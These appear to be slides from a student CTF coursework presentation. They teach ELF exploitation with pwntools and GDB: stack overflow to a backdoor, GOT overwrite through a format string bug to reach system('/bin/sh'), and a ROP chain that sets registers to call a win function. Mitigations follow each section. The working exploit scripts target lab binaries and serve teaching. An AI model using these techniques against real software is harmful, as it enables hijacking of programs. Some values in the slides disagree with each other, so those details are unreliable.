

PWN

Find the Bugs + Exploit them




Pwn 是指攻破设备或者系统，发音类似「砰」



CTF, Catch The Flag, 夺旗赛
PWN = Find the Bugs + Exploit them



网上课程良莠不齐，我们小组听的是这个短学期
www.ctf.zjusec.com



本次作业任务：利用ELF软件漏洞获得系统权限



Kali

基于Debian的
Linux发行版操作系统

<https://www.phifan.cn/Robotics/Environment/System-kali-settings/>



IDA 女人头

交互式反汇编器

F5反汇编

<https://www.phifan.cn/CS/CTF-reverse/>



GDB

Debugger

使用了peda,pwngdb,pwndbg插件
pwnggef 也可以



<https://www.phifan.cn/Tools/gdb/>



Pwntools 库

尽可能容易的编写EXP

<https://www.phifan.cn/CS/CTF-pwn/#pwntools>



GDB

运行: r, c

单步调试: s, n, si, ni

断点: b <func name>, b *<addr>, bp <addr>, pie b <offset>



查看值: p(rint)/[d/x]

查看内存: x/<count>[b/w/g/s] <addr>, tele(scope) <addr>

程序状态: i(nfo), vmmmap, ctx

.....

<https://www.philfan.cn/Tools/gdb/>



Pwntools 库

环境配置

context

远程连接

```
p = process("./bigwork")
```

ELF加载

```
program = ELF("./bigwork"),  
program.got['puts']  
program.sym['main']
```

与GDB配合

```
p = gdb.debug("./bigwork", gdbscript = "c") (需要安装gdbserver)  
pid,p_gdb = gdb.attach("./bigwork",gdbscript = "",api =True) 操作gdb  
p_gdb.execute("info proc mappings")
```

交互操作

```
p.send() p.recvline() p.sendlineafter()
```

<https://www.philfan.cn/CS/CTF-pwn/#pwntools>

Checksec —— 做题的第一步

pwntools附带的命令行工具，用于检查程序开启的保护

1. **No RELRO**: 意味着全局偏移表 (GOT) 是可写的。



GOT覆盖



2. **Canary**: 存在栈保护机制，这使得栈溢出攻击更加困难。但如果能够泄露canary值或绕过canary检查

栈溢出



3. **NX**: 意味着不能直接在栈上执行代码，是否可以栈溢出注入shellcode

Shellcode注入

4. **PIE**: 程序没有使用位置独立执行，这意味着程序的内存布置是否固定的，攻击者可以利用这个特性更容易地发动基于地址的攻击。

```
→ Desktop checksec ./example1 → Desktop checksec ./example4
[*] '/home/ctfer/Desktop/example1' [*] '/home/ctfer/Desktop/example4'
Arch: amd64-64-little Arch: amd64-64-little
RELRO: Full RELRO RELRO: Partial RELRO
Stack: Canary found Stack: No canary found
NX: NX enabled NX: NX disabled
PIE: PIE enabled PIE: No PIE (0x400000)
RWX: Has RWX segments RWX: Has RWX segments
```

第一題
BIGWORK

Pwntools+GDB?

一般的赛题环境

- 跑在远端服务器：
使用WebsocketReflectorX or
Websocat连接
- 一般不给源代码
- 有的给libc ld

如果遇到问题可以试试 glibc-all-in-one 这个开源项目

本题



S1 返回地址劫持

The image shows two terminal windows side-by-side. The left terminal window is titled 'kali@kali: ~/Desktop/hw/hw1 (as kali)' and contains the following text:

```
(ctf) (kali㉿kali)-[~/Desktop/hw/hw1]
└$ python 00.py
[*] '/home/kali/Desktop/hw/hw1/test1'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
b'Welcome to choose this challenge!!!\nNow, you have 3 choices:\n1. Overflow!\n2. Formatstring!\n3. You are free!\n'
b'Which country do you live in?\n'
Wow, China is such a nice country!
It was nice meeting you. Goodbye!
```

The right terminal window is titled 'Shell No. 1 (as kali)' and shows the assembly code for the program:

```
► 0x40125a <overflow+95>    ret
    ↓
0x40134b <main+88>          jmp    main+59
    ↓
0x40132e <main+59>          mov    eax, 0    EAX = 0
0x401333 <main+64>          call   menu
0x401338 <main+69>          mov    dword ptr [rbp - 0x10], eax
0x40133b <main+72>          cmp    dword ptr [rbp - 0x10], eax
0x40133f <main+76>          jne    main+90
0x401341 <main+78>          mov    eax, 0
0x401346 <main+83>          call   overflow
0x40134b <main+88>          jmp    main+59
    ↓
0x40132e <main+59>          mov    eax, 0
```


Below the assembly code, the stack dump shows the current state of the stack:

00:0000	rsp 0x7ffe25662db8	→ 0x40134b (main+88)	←
01:0008	-030 0x7ffe25662dc0	← 0	
02:0010	-028 0x7ffe25662dc8	→ 0x7ffe25662f18	→ 0x7ffe25662f18
15;0			
03:0018	-020 0x7ffe25662dd0	→ 0x7ffe25662f08	→ 0x7ffe25662f08
42f2e /* './test1' */			
04:0020	-018 0x7ffe25662dd8	← 0x1a23f9030	
05:0028	-010 0x7ffe25662de0	← 0	
06:0030	-008 0x7ffe25662de8	← 0x125662e80	
07:0038	rbp 0x7ffe25662df0	← 1	

At the bottom, the backtrace shows the call stack:

```
► 0          0x40125a overflow+95
1          0x40134b main+88
2  0x7f17a21efd68 __libc_start_main+120
```

S2 GOT表劫持




分为动态链接和静态链接

动态链接会有PLT (查询方法) 和GOT (存储地址) 表

- 先找到puts 的got表位置
 - 把函数断在puts前面
 - 把got表改掉
 - 实现跳转

栈上缓冲区溢出

什么是栈？调用函数中到底发生了什么？



进入函数时候

```
<main+0004> push rbp
<main+0005> mov rbp, rsp
<main+0008> add rsp, 0x80
```

保护rbp
移动
创建临时变量区域

出函数的时候

先pop rbp会把当前的rbp位置返回给rsp指针，
实现栈的抬升


ret的时候，先把old rbp返给rbp

并把ret地址返回给运行PC

如何利用

- 当某些函数没有限制读取的长度的时候，可以一直输入
 - 那么就可以构造特殊的payload，让栈上指定位置变成我们想要的值

S3 栈溢出



```
from pwn import *
context.arch='x86_64'
binary = './bigwork'


elf = ELF(binary)
a = process(binary)
target_address = elf.symbols['backdoor']
print("target=",hex(target_address))
i = a.recvuntil(b"free!\n")
a.sendline(b"2")
payload = b"A" * (0x108)+ p64(target_address) + p64(0x0)
a.recv()
a.sendline(payload)
a.interactive()
```

填入想要覆盖的返回的地址

这里是backdoor

原来的rbp 占 0x8

读取位置 [rbp-100](使用gdb disasm)



学习路径



如何防御缓冲区溢出呢?

- **ASLR**

增加随机化地址, 增加难度

- **Canary**

出入栈的时候增加验证的环节

- **Shallow Stack:**

用微型的buffer存储, 临时变量在另一个栈上面, 怎么也不会溢出了

FSB (Format String Bug)

Printf是如何实现的

- printf是一个比较神奇的函数，它可以实现变长参数（通过va_list实现）
- 32位的程序，从右向左依次入栈
- 64位的程序，优先寄存器，前6个参数放在rdi, rsi, rdx, rcx, r8, r9，其余的参数放在栈上面

```
int printf(const char *format, ...);
```

```
#include <stdio.h>

int main(){
    printf("%d %d %c %c %s %s", 1, 2, 'c', 'd', "e", "hello");
    return 0;
}
```

Register	Value	Description
RAX	0	
RBX	0x7ffdde59000c3	printf address
RCX	0x63	
RDX	2	
RDI	0x40200e	'%2\$d %d %3\$c %3\$c %5\$s %11\$p'
RSI	1	
R8	0x64	
R9	0x40200c	0x2520642432250065 /* 'e' */
R10	3	
R11	0x7fe0c6e831c0 (printf)	printf address
R12	sub rsp, 0xd8	
R13	0x7ffdde58ff468	0x7ffdde59000ca
R14	'COLORFGBG=15;0'	
R15	0x7fe0c706f000 (_rtld_global)	0x7fe0c70702e0
UX	0x403130 (_do_global_dtors_aux_fini_array_entry)	0x401100 (_do_global_dtors_aux)
RIP	endbr64	
RBP	0x7ffdde58ff340	1
RSP	0x7ffdde58ff338	0x40117f (main+52)
	← mov eax, 0	
	← sub rsp, 0xd8	
	0x7fe0c6e831c0 (printf)	printf address

Format String Bug

如何不按照参数的顺序输出字符串

```
// gcc test_printf.c -o test_printf
#include <stdio.h>

int main(){
    // num$ 表示第num个参数
    printf("%2$d %1$d %4$c %3$c %s %s", 1, 2, 'c', 'd', "e", "hello");
    return 0;
}
```

其输出结果会是 2 1 d c e hello

任意读

%p

将数据打印为带前导0x的十六进制%48\$p %1\$p
指定参数位置。需要计算偏移

任意写

%n

%123c%3\$n

将当前已打印的字节数写入指向的内存
利用宽度对齐，输入想写入的

格式化字符串的数量要大于参数的数量，这个时候就会发生漏洞

我们可以根据这个漏洞来实现栈上任意读、任意写

进而配合其他的方法get shell

FSB 任意读

读什么？ 泄露栈上的敏感信息、栈地址、堆地址、程序段地址、libc地址……

```
[*] running in new terminal: ['/u
[DEBUG] Created script for new ter
#!/home/kali/miniconda3/envs/c
import os
os.execve('/usr/bin/gdb', ['/u
[DEBUG] Launching a new terminal:
[DEBUG] Received 0x38 bytes:
b'Remote debugging from host :
printf: 0x4010
/home/kali/Desktop/pwn/exp.py:23:
com/#bytes
p.sendline(fmt)
[DEBUG] Sent 0x6 bytes:
b'%73$p\n'
[*] Switching to interactive mode
[DEBUG] Received 0xf bytes:
b'0x5626f1a871d1\n'
0x5626f1a871d1
$ ■ 泄露main的地址
pwndbg> stack 80
00:0000  rsp  0x7ffd688a5398 -> 0x5626f1a87245 (main+116) ← jmp main+44
01:0008  rcx rdi 0x7ffd688a53a0 ← 0xa7024333725 /* '%73$p\n' */
02:0010 -1f8 0x7ffd688a53a8 ← 0
... ↓
62 skipped
41:0208  rbp  0x7ffd688a55a0 ← 1
42:0210 +008 0x7ffd688a55a8 -> 0x7ff86d7fad68 (_libc_start_call_main+120) ← mov ed
i, eax
43:0218 +010 0x7ffd688a55b0 -> 0x7ffd688a56a0 -> 0x7ffd688a56a8 ← 0x38 /* '8' */
44:0220 +018 0x7ffd688a55b8 -> 0x5626f1a871d1 (main) ← push rbp
0x7ffd688a55c0 ← 0x111a86040
45:0228 +020 0x7ffd688a55c8 -> 0x7ffd688a56b8 -> 0x7ffd688a70b8 ← './fsb-stack'
46:0230 +028 0x7ffd688a55d0 -> 0x7ffd688a56b8 -> 0x7ffd688a70b8 ← './fsb-stack'
47:0238 +030 0x7ffd688a55d8 -> 0x7ffd688a56b8 -> 0x7ffd688a70b8 ← './fsb-stack'
48:0240 +038 0x7ffd688a55d8 ← 0xf0b2e64cca4a1985
49:0248 +040 0x7ffd688a55e0 ← 0
4a:0250 +048 0x7ffd688a55e8 -> 0x7ffd688a56c8 -> 0x7ffd688a70c4 ← 'COLORFGBG=15;0'
4b:0258 +050 0x7ffd688a55f0 -> 0x7ff86da16000 (_rtld_global) -> 0x7ff86da172e0 -> 0x
5626f1a86000 ← 0x10102464c457f
4c:0260 +058 0x7ffd688a55f8 -> 0x5626f1a89dd8 (_do_global_dtors_aux_fini_array_ent
y) -> 0x5626f1a87130 (_do_global_dtors_aux) ← endbr64
4d:0268 +060 0x7ffd688a5600 ← 0xf48375861281985
4e:0270 +068 0x7ffd688a5608 ← 0xf423cb390081985
4f:0278 +070 0x7ffd688a5610 ← 0
pwndbg> c
Continuing.
```

如何计算偏移量

例如：5 (栈上的寄存器) + 0x220 (左侧的偏移量) / 8 (8个字节)

FSB 任意写

写什么? GOT表； 返回地址； shellcode泄露； 栈上布置参数……

1. 直接写： %ln： 写8字节； %12345678c%7\$n
2. 按参数进行写入： %*10\$c%11\$n； 把第十个参数作为padding
3. pwntools自带的fmtstr_payload函数： 无需自己计算，但有时候会被卡常数


任意写：覆盖GOT

```
from pwn import *
context.log_level = 'warning'
o = process("./test")
elf = ELF("./test")

script = \
"""
b printf
c
"""

pid,p_gdb = gdb.attach(o,gdbscript = script,api = True)
printf_got = elf.got['printf']
backdoor_addr = elf.symbols['backdoor']
system_addr = elf.symbols['system']
print("printf_got=",hex(printf_got))
print("backdoor_addr=",hex(backdoor_addr))
print("system_addr=",hex(system_addr))

print(o.recv())
o.sendline(b"2")
print(o.recv())
payload = fmtstr_payload(6, {printf_got: system_addr})
o.sendline(payload)
print(o.recv())
o.sendline(b"2")
print(o.recv())
o.sendline(b"/bin/sh\x00")
o.interactive()
```



如何实现防御：

使用更加安全的函数

- 使用 snprintf 限制缓冲区长度。
- 使用 strncat 等确保动态字符串拼接的安全性。

增加堆栈保护

```
gcc -fstack-protector -o program program.c
```

第二題

BIGWORK2

Checksec

- 使用checksec查看可以采取的攻击手段
- 本题开启了Canary和NX保护，因此不能简单的采用栈溢出漏洞进行攻击。

```
(base) → Introduction to Information Security checksec bigwork2
[*] '/home/arrakis/learn/ZJU/Introduction to Information Security/bigwork2'
    Arch:      amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:      NX enabled
    PIE:    No PIE (0x400000)
    Stripped: No
```

反汇编查看逻辑

Win函数

```
int __fastcall win(__int64 a1, __int64 a2)
{
    signed int v2; // eax
    __int64 v3; // rax
    char v5[264]; // [rsp+0h] [rbp-128h] BYREF
    unsigned __int64 v6; // [rsp+108h] [rbp-20h]

    v6 = __readfsqword(0x28u);
    v2 = (unsigned int)fopen("flag.txt", "r");
    if ( a1 == 1684107883 && a2 == 1936286821 )
    {
        fgets(v5, 255, (FILE *)v2);
        puts("-----");
        puts("\"...Power is an illusion of perception. It is what we be");
        puts("what we hope might occur. It is a tool, like a lightsaber");
        puts("does not make one great. Power is something to be wielded");
        puts("to an end. And that end is the only thing that matters. F");
        puts("to see, there is only the Force, and what is required to");
        puts("-----");
        puts(v5);
        return v6 - __readfsqword(0x28u);
    }
}
```

如何跳转到win函数呢?

这里读取flag.txt

如何跳转到win函数

```
if ( v3 <= 4 )
{
    v4 = v3;
    puts("Which jedi said that? ");
    printf("">>>> ");
    fflush(stdout);
    fgets(v5, 9, stdin);
    *(_QWORD *)review_names[v4] = *(_QWORD *)v5;
}
```



review_names 创建额外上下文，导入星战有关的信息

把review_names数组第v4个元素的值为地址的值赋值为把v5的值作为地址的值。

尝试这里能否注入？没有exit@GOT 的地址。不能直接修改 exit 对应的跳转位置。

如何跳转到win函数

exit()会依次调用fini_array部分的函数指针，只需将其中的某个指针替换成win函数即可。

计算fini_array地址和review_name地址的距离

```
> LOAD:0000000000404428 0C 00 00 00 00 00 00 00 10+Elf64_Dyn <0Ch, 401000h> ; DT_INIT
> LOAD:0000000000404438 0D 00 00 00 00 00 00 00 9C 17+Elf64_Dyn <0Dh, 40179Ch> ; DT_FINI
> LOAD:0000000000404448 19 00 00 00 00 00 00 00 08 44+Elf64_Dyn <19h, 404408h> ; DT_INIT_ARRAY
> LOAD:0000000000404458 1B 00 00 00 00 00 00 00 08 00+Elf64_Dyn <1Bh, 8> ; DT_INIT_ARRAYSZ
> LOAD:0000000000404468 1A 00 00 00 00 00 00 00 10 44+Elf64_Dyn <1Ah, 404410h> ; DT_FINI_ARRAY
> LOAD:0000000000404478 1C 00 00 00 00 00 00 00 08 00+Elf64_Dyn <1Ch, 8> ; DT_FINI_ARRAYSZ
> LOAD:0000000000404488 F5 FE FF 6F 00 00 00 00 68 03+Elf64_Dyn <6FFFFEF5h, 400368h> ; DT_GNU_HASH
> LOAD:0000000000404498 05 00 00 00 00 00 00 00 E0 04+Elf64_Dyn <5, 4004E0h> ; DT_STRTAB
> LOAD:00000000004044A8 06 00 00 00 00 00 00 00 90 03+Elf64_Dyn <6, 400390h> ; DT_SYMTAB
> LOAD:00000000004044B8 0A 00 00 00 00 00 00 00 9D 00+Elf64_Dyn <0Ah, 9Dh> ; DT_STRSZ
> LOAD:00000000004044C8 0B 00 00 00 00 00 00 00 18 00+Elf64_Dyn <0Bh, 18h> ; DT_SYMENT
> LOAD:00000000004044D8 15 00 00 00 00 00 00 00 00 00+Elf64_Dyn <15h, 0> ; DT_DEBUG
> LOAD:00000000004044E8 03 00 00 00 00 00 00 00 F8 45+Elf64_Dyn <3, 4045F8h> ; DT_PLTGOT
```

ROP

利用栈上构造的地址和指令组合 (gadget)
完成复杂逻辑

如何满足win的判断条件？

回到win函数，要求 $a1 == 1684107883 \& \& a2 == 1936286821$
即要求 rdi等于0x6461726B, rsi等于0x73696465

不能直接把fini_array指针修改为win函数地址，但是可以利用以下这些函数

The assembly code is annotated with comments explaining the flow and the use of quote functions. The quote functions are listed in a table on the right.

<i>f</i>	quote2
<i>f</i>	quote1
<i>f</i>	quote3
<i>f</i>	quote4
<i>f</i>	quote5
<i>f</i>	quote6

The assembly code shows the following flow:

- Initial state: rdi = 0x6461726B, rsi = 0x73696465
- Call to quote2
- Call to quote4
- Call to quote1
- Call to quote3
- Call to quote6
- Final state: rdi = 0x6461726B, rsi = 0x73696465

The quote functions are defined as follows:

- quote2: $\text{sub } \text{rsp}, 8$
 $\text{lea } \text{rdi}, \text{aAJediUsesTheForce}$
↳ $\text{aAJediUsesTheForce: .text:000000000401370}$
- quote4: $\text{sub } \text{rsp}, 8$
 $\text{lea } \text{rdi}, \text{aAJediUsesTheForce}$
↳ $\text{aAJediUsesTheForce: .text:000000000401370}$
- quote1: $\text{sub } \text{rsp}, 8$
 $\text{lea } \text{rdi}, \text{aAJediUsesTheForce}$
↳ $\text{aAJediUsesTheForce: .text:000000000401370}$
- quote3: $\text{sub } \text{rsp}, 8$
 $\text{lea } \text{rdi}, \text{aAJediUsesTheForce}$
↳ $\text{aAJediUsesTheForce: .text:000000000401370}$
- quote6: $\text{sub } \text{rsp}, 8$
 $\text{lea } \text{rdi}, \text{aIFindYourLackOfFaith}$
 $\text{call } \text{_puts}$
 $\text{add } \text{rdi}, 1$
 $\text{jmp } \text{r8}$
↳ $\text{aIFindYourLackOfFaith: .text:0000000004013D0}$

如何满足win的判断条件？

使用已有的程序片段构造任意的二进制数

有加法和移位→构造任意二进制数
有mov→可以赋值到任意变量

```
mov rsi, rdi
xor rdi, rdi
add rdi, 1
shl rdi, 1
```

比如说：构造0x8887的二进制
bin(0x8887)[2:] '1000100010000111'

```
# 设置 rsi
for bit in bin(rsi)[2:]:
    if bit == '1':
        payload += p64(sh1) + p64(add)
    else:
        payload += p64(sh1)


# 将 rsi 转移到 rdi
payload += p64(mov) + p64(xor)

# 设置 rdi
for bit in bin(rdi)[2:]:
    if bit == '1':
        payload += p64(sh1) + p64(add)
    else:
        payload += p64(sh1)

# 跳转到 win 函数
payload += p64(win)
```

攻击过程视频记录

如何实现防御:



```
payload2.py 9+ x
E: > 附件 > payload2.py > ...
1  from pwn import *
2
3  # 目标进程
4  p = process('./bigwork2')
5
6  # 函数地址
7  mov = 0x401340 # mov rsi, rdi
8  sh1 = 0x401360 # shl rdi, 1
9  xor = 0x401380 # xor rdi, rdi
10 add = 0x4013D0 # add rdi, 1
11 win = 0x4013E0 # win 函数地址
12
13 # 构造目标值
14 rsi = 0x73696465 # 字符串 "side" 的十六进制表示
15 rdi = 0x64617268 # 字符串 "dark" 的十六进制表示
16
17 # 初始化 payload, 跳过栈溢出的偏移
18 payload = b'a' * 8 + p64(xor)
19
20 # 构造 rsi 的值
21 for i in bin(rsi)[2:]: # 遍历二进制字符串, 从最高位到最低位
22     if i == '1':
23         payload += p64(sh1) + p64(add)
24     else:
25         payload += p64(sh1)
26
27 # 将 rsi 值赋给 rdi
28 payload += p64(mov) + p64(xor)
29
30 # 构造 rdi 的值
31 for i in bin(rdi)[2:]: # 遍历二进制字符串
32     if i == '1':
33         payload += p64(sh1) + p64(add)
34     else:
35         payload += p64(sh1)
36
37 # 跳转到 win 函数
38 payload += p64(win)
39
40 # # 发送 payload
41 p.sendlineafter(b">> ", payload) # 等待提示符并发送 payload
42 p.sendlineafter(b">> ", b"-78") # 发送偏移量
43 p.sendlineafter(b">> ", p64(0x4013a0)) # 发送至win
44
45 # 进入交互模式
46 p.interactive()
```

- Fcf-protection

确保程序的执行流严格遵循预定定义路径

- Canary

替换或保护 ret 指令, 防止 ROP 攻击的常规利用。

- PIE:

防止攻击者通过堆漏洞劫持控制流

Thanks!